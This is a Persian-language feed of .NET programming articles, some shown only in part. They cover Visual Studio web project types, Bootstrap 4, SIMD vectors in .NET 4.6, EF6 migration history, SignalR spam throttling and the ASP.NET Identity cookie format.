Quantcast
Channel: ‫فید مطالب .NET Tips
Viewing all 1980 articles
Browse latest View live

‫مقایسه پروژه های Web Site و Web Application در Visual Studio

$
0
0
 در ویژوال استودیو می‌توانید پروژه‌ی Web Application و یا Web Site ایجاد نمایید. شما Web Application را با گزینه‌ی New Project ایجاد و با Open Project باز می‌کنید؛ ولی Web Site را با گزینه‌ی New Web Site ایجاد و با Open Web Site باز می‌نمایید. قبل از ساخت یک پروژه‌ی جدید وب لازم است از تفاوت‌های این دو نوع، آگاهی کسب کرده و در انتخاب نوع پروژه دقت نمایید؛ چرا که تغییر و تبدیل یک نوع به نوع دیگر، علاوه بر سختی، موجب اتلاف زمان شده و پروژه را مستعد خطا خواهد کرد.

نکته:
برای ایجاد یک پروژه‌ی جدید مایکروسافت Web Application را به شما پیشنهاد می‌دهد. هرچند در این مبحث، مطالبی را مبنی بر فواید Web Site معرفی خواهد کرد، ولی اکثر توسعه دهندگان وب که Web Site را برگزیده اند سرانجام مضراتی از آن را می‌یابند که سنگینی آن بیشتر از فوایدش است. برای مثال تمامی خصیصه‌های (feature فیچر) ASP.net لزومآ برای وب سایت در دسترس نخواهند بود؛ مثلآ از ویژوال استودیوی 2012 به بعد، ابزاری برای تولید پروژه‌های وب وجود دارد که فقط برای Web Application در اختیار خواهد بود (برای کسب اطلاعات بیشتر می‌توانید مطلب Creating an ASP.net Web Project in Visual Studio  را مطالعه نمایید). 

سناریو :

سناریویی که مبنی برا انتخاب Web Application می‌باشد به شرح زیر است:
· شما نیاز به استفاده از Edit And Continue در دیباگر ویژوال استودیو دارید.
· تمامی کدها، فایل‌ها و کلاس‌هایی که با صفحات ASP.net مرتبط هستند، برای تست بصورت واحد و یکپارچه در نظر گرفته می‌شوند.
· شما برای کلاس‌هایی که وابسته به صفحات هستند و همچنین برای کنترل‌ها و کلاس‌های منحصر آن باید ارجاع داشته باشید.
· وابستگی در حالتی که چندین پروژه‌ی مرتبط به هم را دارید توسط شما مشخص می‌شود.
· برای کل سایت در هنگام کامپایل فقط یک اسمبلی ساخته می‌شود.
· کنترل نام اسمبلی‌ها و همچنین شمارهی ورژن ایجاد شده‌ی برای پروژه در دست شماست.
· برای کامپایل پروژه می‌توانید MSBuild و یا Team Build را انتخاب کنید؛ برای مثال می‌توانید مراحل Prebuild یا Postbuild را مشخص کنید.
· نیازی به قرار دادن سورس برنامه روی سرور نیست.

سناریویی که مبنی برا انتخاب Web Site می‌باشد به شرح زیر است:
· یک پروژه در بر دارنده‌ی  کدهای #C و هم کدهای Visual Basic می‌باشد ( درحالیکه بصورت پیشفرض در Web Application فایل پروژه بر مبنای زبان برنامه‌ی شما کامپایل می‌شود، هرچند می‌توان این حالت پیشفرض را تغییر داد؛ ولی این امر می‌تواند اندکی مشکل باشد).
· شما می‌توانید سایت ایجاد شده را بصورت Real Time توسط FTP  باز نموده و آپدیت نمایید.
· برای توزیع (deploy) پروژه مجبور به کامپایل صریح آن نیستید.
· اگر پروژه را کامپایل نمایید کامپایلر به ازای هر صفحه و یا هر پوشه، یک فایل اسمبلی جداگانه خواهد ساخت.
· برای تغییر یک فایل به تنهایی می‌توانید فقط آنرا تغییر داده و بر روی سرور قرار دهید.
· حتی بعد از کامپایل هم می‌توانید صفحات ASP.net  را بدون نیاز به کامپایل دوباره‌ی کل سایت تغییر داده و جایگزین نمایید.
· سورس کامل پروژه برای اجرا باید روی سرور قرار گیرد.

تفاوت‌ها در یک نگاه:

زمینه 
  پروژه‌های Web Application    پروژه‌های Web Site 
  ساختار فایل پروژه    فایل برنامه (.csproj / vbproj) دربردارنده اطلاعاتی از جمله لیست فایل‌ها و رفرنس‌ها پروژه به پروژه دیگر خواهد بود.    هیچ فایل برنامه ای وجود ندارد و تمامی فایل هایی که داخل پوشه می‌باشند جزو فایل‌های سایت شناخته می‌شوند. 
  کامپایل  · شما پروژه را در سیستم خود کامپایل می‌کنید.
· بصورت پیشفرض کامپایل کد‌ها در یک اسمبلی قرار می‌گیرد. 
  · سورس کدها بصورت اتوماتیک در سرور توسط Asp.net  با اولین درخواست کامپایل میشوند.
(البته شما می‌توانید کامپایل را در سیستم خود نیز انجام دهید)
· بصورت پیشفرض کامپایل برای هر کلاس یک اسمبلی جدا می‌سازد. 
فضا‌های نام  Namespace‌ها بصورت صریح در صفحات و کلاس‌ها و کنترل‌ها افزوده می‌شود.  هیچ namespace ای بصورت پیشفرض اضافه نمی‌شود (شما می‌توانید بصورت دستی آنها را اضافه کنید) 
توزیع
اسمبلی تولید شده در مرحله کامپایل را روی سرور قرار می‌دهید
اکثر مراحل کامپایل توسط ابزارهای ارائه شده ویژوال استودیو انجام می‌شود. 
کل سورس پروژه روی سرور قرار میگیرد.
اکثر مراحل کامپایل توسط ابزارهای ارائه شده ویژوال استودیو انجام می‌شود. 

ساختار فایل پروژه:
پروژه‌های Web Application از فایل پروژه ویژوال استودیو ( .csproj / .vbproj ) برای نگهداری اطلاعات پروژه استفاده می‌کنند. با این امکان می‌توان فایل‌هایی را که در پروژه دخیل هستند و یا باید کامپایل شوند، به تفکیک مشخص کرد.
در مورد Web Site تمامی فایل‌هایی که در داخل پوشه‌ی برنامه قرار دارند، به صورت پیش فرض جزیی از برنامه تلقی شده و کامپایل خواهند شد و برای اینکه فایلی را بخواهید مستثنا کنید یا باید آنرا حذف کنید و یا پسوند آنرا به نامی که توسط سرور IIS قابل شناسایی نیست تغییر دهید.

فایده‌ی فایل پروژه یعنی همان ( .csproj / .vbproj ) در Web Application :
می‌توان فایلی را به طور موقت از برنامه حذف کرد، بدون نگرانی از آنکه فایل بصورت کلی حذف شود. چرا که فایل در ساختار برنامه باقیست. برای مثال اگر صفحه‌ای برای توزیع آماده نیست، می‌توانید به راحتی آن‌را از برنامه خارج کنید ( Exclude ) و برنامه را کامپایل نمایید و بعد از اینکه این صفحه هم آماده شد، دوباره آن را وارد پروژه نمایید ( include ) که اهمیت این امر در مواردی که از برنامه‌های کنترل سورس استفاده می‌کنید، دوچندان می‌شود.

فایده‌ی عدم استفاده از فایل پروژه‌ی برنامه در Web Site :
شما مجبور به کنترل و شخصی سازی ساختار فایل برنامه در ویژوال استودیو نیستید و به راحتی هر فایل یا صفحه‌ای را که می‌خواهید، با کپی کردن به پوشه و یا حذف کردن از آن توسط فایل اکسپلورر انجام می‌دهید.

کامپایل:
برای برنامه‌های Web Application شما بصورت معمول پروژه را Build می‌نمایید و تمامی کد‌های صفحات و همچنین کلاس‌ها به صورت یک فایل اسمبلی در پوشه‌ی bin ذخیره می‌گردد.
برای Web Site شما مجبور به کامپایل دستی پروژه نیستید و می‌توانید از Batch-Compile استفاده کنید و همچنین به ازای هر صفحه و کلاسریال شما یک فایل اسمبلی خواهید داشت.

مزایای کامپایل در Web Application :
· می‌توانید از MSBuild استفاده کنید.
· می‌توانید خصیصه‌های اسمبلی، از جمله نام و ورژن را به راحتی مدیریت نمایید.
· کامپایل قبل از توزیع برنامه این مزیت را دارد که کاربران مجبور نیستند منتظر کامپایل برنامه در سرور باشند.
· مدیریت دقیقی بر روی فایل‌ها و ساختار برنامه و همچنین کلاس‌ها و ارجاعات خواهید داشت.

مزایای کامپایل در Web Site  :
· می‌توانید هر صفحه‌ای را که نیاز دارید بدون در نظر گرفتن آماده شدن دیگر صفحات تست و اجرا نمایید.
· آپدیت و جایگزینی فایل‌ها به راحتی صورت می‌گیرد؛ چرا که اسمبلی تمام فایل‌ها بصورت منحصر همان صفحه ایجاد خواهد شد.
· ایجاد شدن چند اسمبلی می‌تواند در برخی پروژه‌ها به نفع برنامه بوده و performance  را بالا ببرد. برای مثال در حالتیکه یک سایت با صفحات زیاد دارید و برخی صفحات به نسبت دیگر صفحات خیلی کمتر درخواست می‌شوند.

نکته:
هیچ فرقی بین Web Application ,  و web Site از نظر performance  وجود ندارد مگر درحالت ذکر شده در بالا و در سایت‌های خیلی بزرگ.

توزیع : ( Deployment )
در web Site کل فایل‌های پروژه را بر روی سرور قرار می‌دهید؛ درحالی که در Web Application  فایل‌های برنامه بصورت اسمبلی‌ها ( .dll ) روی سرور قرار می‌گیرند. همین امر می‌تواند در برخی حالت‌ها مثلآ زمانی که از هاست share شده استفاده می‌کنید، خیال شما را از بابت سورس برنامه مطمئن سازد.
برای Web Site نیز این مزیت وجود دارد که برای انجام تغییرات کوچک مجبور به کامپایل و آپلود دوباره‌ی کل پروژه نیستید.


ماخذ

 

‫بررسی امکانات Bootstrap 4

$
0
0
دنیای وب کلاینت، در اواخر سال میلادی جاری دستخوش تغییرات بسیاری خواهد شد. از جهتی JavaScript با بروز رسانی موتور خود با نام و نسخه‌ی javascript ecmascript 6 ظاهرا قصد دارد تا تغییرات شگرفی را در دنیای اسکریپتی آشفته‌ی کلاینت بدهد. به همین علت فریم ورک‌های SPA یا single page app همانند AngularJs نیز با به‌روز رسانی نسخه‌ی جاوااسکریپت، ظاهرا مجبورند تا هسته‌ی فریم ورک‌های خود را یک آب و جاروی اساسی کنند. البته AngularJs در نسخه‌های 1.X مشکلاتی داشته است که در نسخه‌ی 2.0 غالب آنها رفع خواهند شد. از طرفی این اتفاقات تنها شامل فریم‌ورک‌های مبتنی بر جاوا‌اسکریپت نمی‌شود و Twitter نیز قصد دارد تا نسخه‌ی جدید Bootstrap را ارائه کند. چند وقتی هست که وب‌سایت رسمی Bootstrap در بالای صفحه‌ی اصلی خود پیغام Aww yeah, Bootstrap 4 is coming را مبنی بر آمدن نسخه‌ی 4 اعلام کرده‌اند.
در این مقاله قصد داریم تا به بررسی امکانات Bootstrap 4 بپردازیم. اطلاعاتی که بنده قصد دارم در اختیار شما قرار دهم، مطالبی است که از چند بلاگ رسمی مانند وبلاگ رسمی Bootstrap برداشت شده است.
در ابتدای مطب معرفی Bootstrap 4 alpha این نوشته را شما را مجذوب خود خواهد کرد:
Bootstrap 4 در واقع یک اقدام بزرگ بود که پس از یک سال توسعه، بزرگی این اقدام در خط به خط کدها احساس می‌گردد. تصمیم گرفتیم تا نسخه‌ی اولیه‌ی آن را به اشتراک بگذاریم و انتقادات و پیشنهادات شما را بشنویم. برای بهبود و پیشرفت در این زمینه بسیاری از اخبار مرتبط را در اختیار شما قرار می‌دهیم. امیدواریم که ما را در بهتر شدن یاری کنید.

امکانات جدید Bootstrap

انتقال از Less به Sass

در نسخه‌ی جدید، شما با استفاده از Sass قادر هستید تا علاوه بر Less، کدهای استایل خود را به این صورت نیز کامپایل و شخصی‌سازی نمایید. البته در Bootstrap 3 این امکان وجود نداشت ولی به صورت جداگانه و البته رسمی در GitHubقرار داده شده بود.

بهبود grid system مبتنی بر "rems"

استفاده از سیستم grid همچنان با همان syntax پیشین استفاده می‌شود، اما کمی تغییر در معماری آن حاصل شده است. به عنوان مثال شما هنوز هم قادر به پیاده سازی سیستم مبتنی بر 12 ستون با استفاده از grid، یا تغییر عرض صفحه با استفاده از container و یا سیستم nested rows هستید.
اما چیز جدیدی که اضافه شده در container است. بگذارید با یک مثال ببینیم که کار جدید صورت گرفته به چه شکلی است. در این مثال در Codepen چگونگی تغییر فونت سایز و سپس تغییر container را مشاهده می‌کنید. تا کنون شما قطعا از px، em  و pt برای تغییر ابعاد استفاده کرده‌اید. در bootstrap 4 تمام این اندازه‌ها مبتنی بر واحدی با نام rem است. این مفهوم خیلی آسان و قابل درک است. به این صورت که با استفاده از rem، تمامی font-sizeها وابسته به root element خواهند شد. بنابراین اگر شما یک وب سایت مبتنی بر Bootstrap 4 را Inspect کنید، خواهید دید که HTML tag دارای فونت سایز 16px است و باقی تگ‌ها بر این مقیاس وابسته هستند. به عنوان مثال تگ p دارای فونت سایز 1em است، یعنی همان 16px. و یا تگ h1 به صورت زیر خواهد بود:
h1 { /* 16 * 2.5 = 40px */
}
شاید بتوان گفت که مهم‌ترین دلیل این حرکت، ساده‌تر کردن فرایند بزرگ و کوچک کردن scale برای دستگاه‌های مختلف است. شما به سادگی قادرید که HTML tag را به سایز کوچک‌تر یا بزرگ‌تر تغییر دهید تا تمامی محتویات نیز به همان مقدار تغییر کنند. البته این نکته قابل توجه است که این تغییر از px به واحد rem تنها شامل font-sizeها نبوده و شامل تمامی scalingها مانند margin، padding و ... نیز می‌شود.

تغییر panel و wells به cards

در Bootstrap جدید، مجموعه‌ی پنل‌ها و wellها به یک ساختار جامع‌تر به نام Cards تبدیل گشته‌اند. این مجموعه به عنوان یک container محتویات که هم قابل انعطاف و هم قابل توسعه است معرفی شده است. همانطور که در اسناد مربوط به این مجموعه مشاهده می‌کنید، چندین مجموعه مانند list box‌ها و thumbnailها نیز در Card قرار گرفته‌اند. در این مجموعه، optionهای متفاوتی برای header و footer، و یا حالات متفاوت قرارگیری محتوا، حالت‌های مختلف back ground در نظر گرفته شده است.

Reset Component جایگزینی برای normalize.css

قبلا Bootstrap از Normalize.css جهت reset کردن محتویات css خود استفاده می‌کرد. Normalize در حقیقت یک مجموعه از قوانین CSS مینیفای شده است که تمامی استایل‌های پیش‌فرض مرورگر‌ها را به یک حالت پایدار reset می‌کند. معمولا همه‌ی مرورگر‌ها یک stylesheet از پیش تعریف شده‌ای دارند که برای وب‌سایت‌هایی که هیچ استایلی ندارند معمولا قابل مشاهده است. به عنوان مثال غالب مرورگرها به صورت پیش‌فرض لینک‌ها را به صورت آبی رنگ با underline نمایش می‌دهند و اینکه یک border خاص به جداول می‌دهند. با استفاده از css reset ها، تمامی استایل‌های از پیش تعیین شده‌ی مرورگرها null می‌شوند. این قابلیت به ما کمک می‌کند که راحت‌تر بتوانیم یک صفحه‌ی cross-browser ایجاد نماییم.
حال اینکه در Bootstrap جدید نوعی دیگر جایگزین Normalize شده است که reboot نام نهاده شده و محتویات آن در GitHub  موجود است. به نوعی می‌توان گفت که یک سری base style و resetها در این یک فایل ریخته شده که reboot نام دارد. این امر می‌تواند کمک بسیاری در Customize کردن موارد توسط خود توسعه دهنده کند.
ادامه دارد...

‫پشتیبانی از SIMD در دات نت 4.6

$
0
0
SIMD مخفف «Single Instruction, Multiple Data» است و متشکل است از تعدادی instruction پردازنده‌ها که بجای مقادیر عددی، بر روی بردارها کار می‌کنند. به این ترتیب امکان کار موازی بر روی مقادیر عددی، در سطح CPU میسر می‌شود. برای نمونه به تصویر ذیل دقت کنید:


در اینجا قرار است تک تک عناصر آرایه‌ای از اعداد، با عدد 6 جمع شوند. روش متداول آن به این صورت است که حلقه‌ای تشکیل شده و سپس تک تک عناصر این آرایه دریافت و با عدد 6 جمع می‌شوند. اما در حالت استفاده‌ی از SIMD، هربار گروهی از عناصر این آرایه به صورت یک بردار درنظر گرفته می‌شوند (Multiple Data) و سپس با برداری حاوی مقدار 6 جمع می‌شوند (Single Instruction). اینبار این عملیات به صورت موازی، بر روی گروهی از اعداد انجام می‌شود و به همین دلیل نسبت به حالت کار بر روی یک المان از آرایه در هر مرحله، سرعت بیشتری دارد.


تفاوت چندریسمانی با SIMD چیست؟

شاید عنوان کنید که با وجود امکانات چندریسمانی چه نیازی به SIMD است؟ در حالت پردازش‌های چند ریسمانی، یک یا چند کار بر روی چندین هسته‌ی CPU به صورت موازی پردازش می‌شوند، اما SIMD امکان پردازش موازی را در یک هسته‌ی CPU میسر می‌کند.


آیا CPU من از SIMD پشتیبانی می‌کند؟

SIMD instruction sets شامل افزونه‌ها‌ی ذیل است:
• MMX - MultiMedia eXtensions
• SSE - Streaming SIMD Extensions
• SSE2 - Streaming SIMD Extensions 2
• SSE3 - Streaming SIMD Extensions 3
• SSSE3 - Supplemental Streaming SIMD Extensions 3
• SSE4.1 - Streaming SIMD Extensions 4.1
• SSE4.2 - Streaming SIMD Extensions 4.2
• AES-NI - Advanced Encryption Standard New Instructions
• AVX - Advanced Vector eXtensions
اگر CPU شما حداقل یکی از این قابلیت‌ها را داشته باشد، امکان استفاده‌ی از SIMD را دارید. برای مشخص سازی آن نیز می‌توانید از برنامه‌ی معروف CPU-Zاستفاده کنید:


در این برنامه، در برگه‌ی CPU آن به قسمت instructions آن دقت کنید و موارد لیست شده‌ی در آن را با افزونه‌ها‌ی فوق مقایسه نمائید.


پشتیبانی از SIMD در دات نت

با ارائه‌ی دات نت 4.6 و RyuJIT جدید آن، امکان کار با دستورات SIMD در فضای نام System.Numerics.Vectors پیش بینی شده‌است. برای کار با آن باید بسته‌ی نیوگت زیر را نصب کنید:
 PM> Install-Package System.Numerics.Vectors
در ابتدای کار باید بررسی کنید که آیا سخت افزار شما از SIMD پشتیبانی می‌کند یا خیر. خاصیت Vector.IsHardwareAccelerated بیانگر این موضوع است. اما ... این خاصیت در حال دیباگ ممکن است مساوی false باشد. برای استفاده‌ی از SIMD ، طی این مراحل ضروری است:
الف) نصب دات نت 4.6.x (دریافت دات نت 4.6.1مخصوص یکپارچه شدن با ویژوال استودیو)
ب) به خواص پروژه‌ی جاری مراجعه کرده و platform target را بر روی x64 قرار دهید. باید دقت داشت که RyuJIT جدید، برای سیستم‌های 64 بیتی طراحی شده‌است.
ج) RyuJIT، در حالت release و انتخاب گزینه‌ی optimize code (در همان برگه‌ی خواص پروژه) است که کدهای ویژه‌ی SIMD را تولید می‌کند.
د) نصب بسته‌ی نیوگت System.Numerics.Vectors

در کل اگر برنامه را داخل دیباگر VS.NET اجرا کنید، مقدار Vector.IsHardwareAccelerated مساوی false خواهد بود. به همین جهت برنامه را در حالت release و 64 بیتی کامپایل کرده و خارج از محیط VS.NET اجرا کنید.


بررسی فضای نام جدید System.Numerics.Vectors

پشتیبانی از SIMD در دات نت به این معنا نیست که هر نوع کدی توسط RyuJIT به صورت خودکار تبدیل به SIMD instruction sets خواهد شد. برای این منظور نیاز است از نوع‌های داده‌ای خاصی به همراه متدهای مرتبط با آن‌ها استفاده کرد.
سری اول این نوع‌های جدید برداری، به شرح زیر هستند:
var vector01 = new Vector2(x: 5F, y: 15F);
var vector11 = new Vector3(x: 5F, y: 15F, z: 25F);
var vector12 = new Vector3(x: 3F, y: 5F, z: 8F);
var vector13 = new Vector4(x: 3F, y: 5F, z: 8F, w:1F);
کلاس‌های وکتور 2، 3 و 4، بردارهایی از نوع float را با اندازه‌هایی ثابت تعریف می‌کنند و بر روی 128bit SIMD registers کار می‌کنند. بر روی این کلاس‌ها، با توجه به operators overloading صورت گرفته، امکان جمع، منها، ضرب و تقسیم نیز وجود دارد و یا می‌توان از متدهای متناظر موجود در کلاس‌های آن‌ها استفاده کرد. نمونه‌ای از این عملیات را در مثال‌های ذیل مشاهده می‌کنید:
var vector3 = vector11 - vector12; //استفاده از سربارگذاری عملگرها
var vector4 = Vector3.Subtract(vector12, vector11);//ویا استفاده از متدهای متناظر
 
vector3 = vector11 * vector12;
vector4 = Vector3.Multiply(vector11, vector12);
 
vector3 = vector11 / vector12;
vector4 = Vector3.Divide(vector11, vector12);
 
vector3 = vector11 + vector12;
vector4 = Vector3.Add(vector11, vector12);
 
var areEqual = (vector11 == vector12);
 
var areNotEqual = (vector11 != vector12);
 
var array = new float[3];
vector11.CopyTo(array);
در مثال آخر مطرح شده، روشی کپی و تبدیل یک بردار، به یک آرایه‌ی هم نوع آن، ارائه شده‌است.
علاوه بر اعمال متداول ریاضی، هر کدام از کلاس‌های Vector دارای متدهای اضافی ویژه‌ای مانند محاسبه‌ی حداقل، حداکثر، جذر و غیره نیز می‌باشند:
vector3 = Vector3.Max(vector11, vector12);
vector3 = Vector3.Min(vector11, vector12);
vector3 = Vector3.SquareRoot(vector11);
vector3 = Vector3.Abs(vector11);
var dotProduct = Vector3.Dot(vector11, vector12);
برای مثال متد Max در اینجا به MAXPS instruction مخصوص پردازشگر ترجمه می‌شود.

سری دوم بردارهای قابل تعریف، از نوع <Vector<T هستند. برای مثال CPUهایی که از SSE2 پشتیبانی می‌کنند، قابلیت کار با نوع‌های داده‌ای زیر را نیز دارا هستند:
Vector<double>.Length: 2
Vector<int>.Length: 4
Vector<long>.Length: 2
Vector<float>.Length: 4
برای نمونه همان مثال ابتدای بحث را در نظر بگیرید. نسخه‌ی متداول انجام افزودن مقداری به تک تک اعضای یک آرایه به صورت زیر است:
private static int[] simpleIncrement(int[] values, int inc)
{    var results = new int[values.Length];    for (var i = 0; i < results.Length; i++)    {        results[i] = values[i] + inc;    }    return results;
}
بازنویسی این متد برای کار با SIMD به صورت ذیل خواهد بود:
private static int[] simdIncrement(int[] values, int inc)
{    var vector = new Vector<int>(values);    var vectorAddResults = vector + new Vector<int>(inc);    var results = new int[values.Length];    vectorAddResults.CopyTo(results);    return results;
}
در اینجا یک Vector از نوع int تعریف شده و سپس بجای تشکیل یک حلقه، فقط کافی است بردار دیگری را حاوی عدد مشخص شده، به آن اضافه کنیم. در پایان برای تبدیل این بردار به آرایه‌ای از نوع int (در صورت نیاز) می‌توان از متد Copy استفاده کرد.

در مثال ذیل، نحوه‌ی انتخاب Multiple data (گروهی از اعداد، بجای تک عدد) و سپس اعمال یک تک instruction را ملاحظه می‌کنید:
var valuesIn = new float[] { 4f, 16f, 36f, 64f, 9f, 81f, 49f, 25f, 100f, 121f, 144f, 16f, 36f, 4f, 9f, 81f };
var valuesOut = new float[valuesIn.Length];
for (var i = 0; i < valuesIn.Length; i += Vector<float>.Count)
{    var vectorIn = new Vector<float>(valuesIn, i);        var vectorOut = Vector.SquareRoot(vectorIn);    vectorOut.CopyTo(valuesOut, i);
}
در مثال فوق قصد داریم جذر تک تک عناصر آرایه‌ای را محاسبه کرده و سپس در آرایه‌ی دومی ثبت کنیم. بجای روش متداول مراجعه‌ی به تک تک عناصر آرایه‌ی ورودی، اینبار با استفاده از کلاس بردار، به اندازه‌ی طول بردار float، اطلاعات را در vectorIn ذخیره کرده و سپس به صورت یکجا به تک متد SquareRoot ارسال می‌کنیم. این متد در سمت CPU به معادل SQRTPS instruction ترجمه می‌شود و تنها یک instruction است.

یک مثال تکمیلی

‫بررسی ساختار جدول MigrationHistory در Entity Framework 6.x

$
0
0
EF اطلاعات تمام migrations اجرا شده‌ی بر روی بانک اطلاعاتی را در جدولی به نام MigrationHistory__ذخیره می‌کند:


اگر به تصویر دقت کنید، در ستون Model آن، اطلاعات باینری ذخیره شده‌اند. شاید در وهله‌ی اول اینطور به نظر برسد که این ستون حاوی هش نقل و انتقالات صورت گرفته‌است؛ اما ... خیر. اطلاعات این ستون، GZip شده‌ی یک رشته‌ی XML ایی یا همان EDMX معادل مدل‌ها و نگاشت‌های برنامه است.
در کدهای ذیل، نمونه مثالی را از نحوه‌ی خواندن این اطلاعات، مشاهده می‌کنید:
using System;
using System.Collections.Generic;
using System.Data.SqlClient;
using System.IO;
using System.IO.Compression;
using System.Xml.Linq;
namespace EF_General
{    public static class InsideMigrations    {        public static void PrintFirstMigrationModel()        {            const string connectionString = "Data Source=(local);Initial Catalog=TestDbIdentity;Integrated Security = true";            const string sqlToExecute = "select top 1 model from __MigrationHistory";            using (var connection = new SqlConnection(connectionString))            {                connection.Open();                using (var command = new SqlCommand(sqlToExecute, connection))                {                    using (var reader = command.ExecuteReader())                    {                        if (!reader.HasRows)                        {                            throw new KeyNotFoundException("Nothing to display.");                        }                        while (reader.Read())                        {                            var model = (byte[]) reader["model"];                            var decompressed = decompressMigrationModel(model);                            Console.WriteLine(decompressed);                        }                    }                }            }        }        private static XDocument decompressMigrationModel(byte[] bytes)        {            using (var memoryStream = new MemoryStream(bytes))            {                using (var gzipStream = new GZipStream(memoryStream, CompressionMode.Decompress))                {                    return XDocument.Load(gzipStream);                }            }        }    }
}
در اینجا، اولین مدل ثبت شده‌ی در جدول migrations واکشی شده‌است. سپس به متد decompressMigrationModel برای رمزگشایی نهایی ارسال گردیده‌است.
بر اساس این اطلاعات، EF کاری به ساختار فعلی بانک اطلاعاتی شما ندارد. زمانیکه Add-Migration را اجرا می‌کنید، به جدول migrations مراجعه کرده، آخرین رکورد آن‌را یافته و سپس اطلاعات آن‌را از حالت فشرده خارج و XML نهایی آن‌را استخراج می‌کند. در ادامه اطلاعات این فایل XML را با معادل مدل‌های فعلی برنامه مقایسه می‌کند. اگر این دو یکی نبودند، اسکریپت اعمال تغییرات را تولید خواهد کرد.
مورد دیگری که در این جدول حائز اهمیت است، ستون ContextKey آن است: «رفع مشکل Migration با تغییر NameSpace در EF»  

‫مدیریت اسپم‌ها در SignalR

$
0
0
سناریویی را در نظر بگیرید که در آن یک برنامه‌ی چت را با استفاده از SignalR نوشته‌اید و قصد دارید از آن در یک سایت شلوغ استفاده کنید. در حالت عادی برنامه به خوبی کار می‌کند؛ تا زمانیکه کسی شروع به ارسال Spam در سیستم چت شما نکرده باشد. برای کنترل ارسال spam، اولین راهی که به ذهن می‌رسد این است که سمت کلاینت کلید ارسال پیغام را چند ثانیه غیر فعال کنیم تا کاربران نتوانند در عرض به طور مثال 3 ثانیه، تعداد زیادی پیام را ارسال کنند. برای کاربران معمولی وب سایت ما این راه حل جواب می‌دهد و مشکلی نیست. ولی اگر کاربر وب‌سایت آشنایی مختصری با JavaScript و نحوه‌ی اتصال به signalR داشته باشد چطور؟ خیلی ساده می‌تواند در کنسول browser خود یک لوپ نوشته و شروع به ارسال spam به برنامه‌ی چت ما کند. اینجاست که مجبوریم به علاوه‌ی کنترل سمت کلاینت، سمت سرور هم زمان ارسال پیام‌ها را کنترل کنیم که در ادامه به یکی از روش‌های انجام این کار می‌پردازیم.

کد اولیه‌ی هاب چت برنامه:
<HubName("chat")>
Public Class ChatHub
    Inherits Hub
    Public Sub sendMessage(msg As String) 
         Clients.All.getMessage(msg) 'Call getMessage function client side
    End Sub
End Class
برای شروع کار ابتدا نیاز به کلاسی داریم که اطلاعات فعالیت‌های کانکشن‌ها را برای ما نگه‌داری کند:
Public Class ActivityInfo
    Sub New(connectionId As String)
        Me.ConnectionID = connectionId
        Me.Time = Now
    End Sub
    Public Property ConnectionID As String
    Public Property Time As DateTime
End Class
سپس برای اینکه بتوانیم تمامی درخواست‌های ارسالی از سمت کلاینت‌ها را مدیریت کنیم، به یک کلاس از نوع HubPipelineModule احتیاج داریم که ما در اینجا با استفاده از کلاس SpamDetectionPiplelineModuleکه از HubPipelineModule مشتق شده، این کار را انجام می‌دهیم.
Public Class SpamDetectionPiplelineModule
    Inherits HubPipelineModule
    Public Property SpamDetection As New HashSet(Of ActivityInfo)
    Private _SpamDetectionLock As New Object
    Public Function IsSpam(ConnectionId As String) As Boolean
        SyncLock _SpamDetectionLock
            'Remove all old info before 3 seconds ago
            SpamDetection.RemoveWhere(Function(q) q.Time < Now.AddSeconds(-3))

            SpamDetection.Add(New ActivityInfo(ConnectionId))

            'Check activities from 3 seconds ago
            If SpamDetection.Where(Function(q) q.ConnectionID = ConnectionId).Count > 2 Then
                Return True
            Else
                Return False
            End If
        End SyncLock
    End Function
    Protected Overrides Function OnBeforeIncoming(context As IHubIncomingInvokerContext) As Boolean
        If IsSpam(context.Hub.Context.ConnectionId) Then
            Return False
        End If
        Return MyBase.OnBeforeIncoming(context)
    End Function
End Class
در کدهای بالا ابتدا یک HashSet را جهت نگه داشتن فعالیت کاربران ایجاد کردیم که بعد از هر درخواستی که به سمت سرور ارسال می‌شود، به‌روز خواهد شد. متد OnBeforeIncoming قبل از اینکه درخواست کاربر به Hub برنامه برسد، اجرا می‌شود که میتوانیم با استفاده از آن، فعالیت‌های کانکشن کاربر را در طی چند ثانیه‌ی اخیر کنترل کنیم که برای مثال چه تعدادی درخواست را در طی 3 ثانیه‌ی قبل ارسال کرده است. اگر تعداد درخواست‌های ارسالی در طی 3 ثانیه‌ی قبل، بیشتر از تعداد مورد نظر ما بود، با بازگشت دادن False، از اجرای درخواست آن جلوگیری می‌کنیم. (در اینجا ما کاربران را به ارسال 2 پیام در طی هر 3 ثانیه، محدود کرده‌ایم).
حال برای استفاده‌ی از PipelineModule سفارشی خودمان، باید آن را قبل از مپ کردن SignaR، در StartUp برنامه اضافه کنیم:
Public Class Startup
    Public Sub Configuration(app As IAppBuilder)
        GlobalHost.HubPipeline.AddModule(New SpamDetectionPiplelineModule)
        app.MapSignalR
    End Sub
End Class

‫بررسی فرمت کوکی‌های ASP.NET Identity

$
0
0
فرمت کوکی‌های ASP.NET Identity از پروژه‌ی سورس باز Katanaدریافت شده‌است و تولید آن پس از لاگین کاربر، شامل مراحل زیر می‌باشد:
1- با استفاده از کلاس ApplicationUser، شیء ClaimsPrincipal را تولید می‌کند.
2- به این ClaimsPrincipal اطلاعاتی مانند ApplicationUser.Id و SecurityStamp اضافه می‌شوند.
3- در ادامه، ClaimsPrincipal به OWIN و کلاس CookieAuthenticationHandler آن ارسال می‌شود.
4- کار کلاس CookieAuthenticationHandler، تولید و تنظیم اطلاعاتی مانند تاریخ صدور کوکی، تاریخ انقضای آن، نوع کوکی، مانند ماندگار بودن یا امن بودن (HTTPS) و امثال آن است. حاصل این مراحله، تولید یک AuthenticationTicket است.
5- در آخر، AuthenticationTicket و  ClaimsPrincipal به کلاس SecureDataFormat، برای ابتدا، serialize شدن اشیاء، رمزنگاری و در نهایت تبدیل آن‌ها به فرمت base64، ارسال می‌شوند.

جزئیات تکمیلی مرحله‌ی آخر آن نیز به این ترتیب است:
AuthenticationTicket با استفاده از کلاس TicketSerializer سریالایز می‌شود. پس از آن یک memory stream تشکیل شده و اطلاعات ClaimsIdentity و AuthenticationTicket سریالایز شده به آن ارسال می‌شوند. این memory stream با استفاده از الگوریتم GZip فشرده شده و برای پردازش بیشتر بازگشت داده می‌شود. مرحله‌ی بعد، رمزنگاری اطلاعات فشرده سازی شده‌است. برای این منظور از کلاس DpapiDataProtector دات نت استفاده می‌کنند. پس از رمزنگاری، استریم نهایی با فرمت base64 برای درج در HTTP Response آماده خواهد شد.

سؤال: چرا کوکی‌‌های یک کاربر معین لاگین شده‌ی توسط ASP.NET Identity، در مرورگرهای مختلف متفاوت است؟
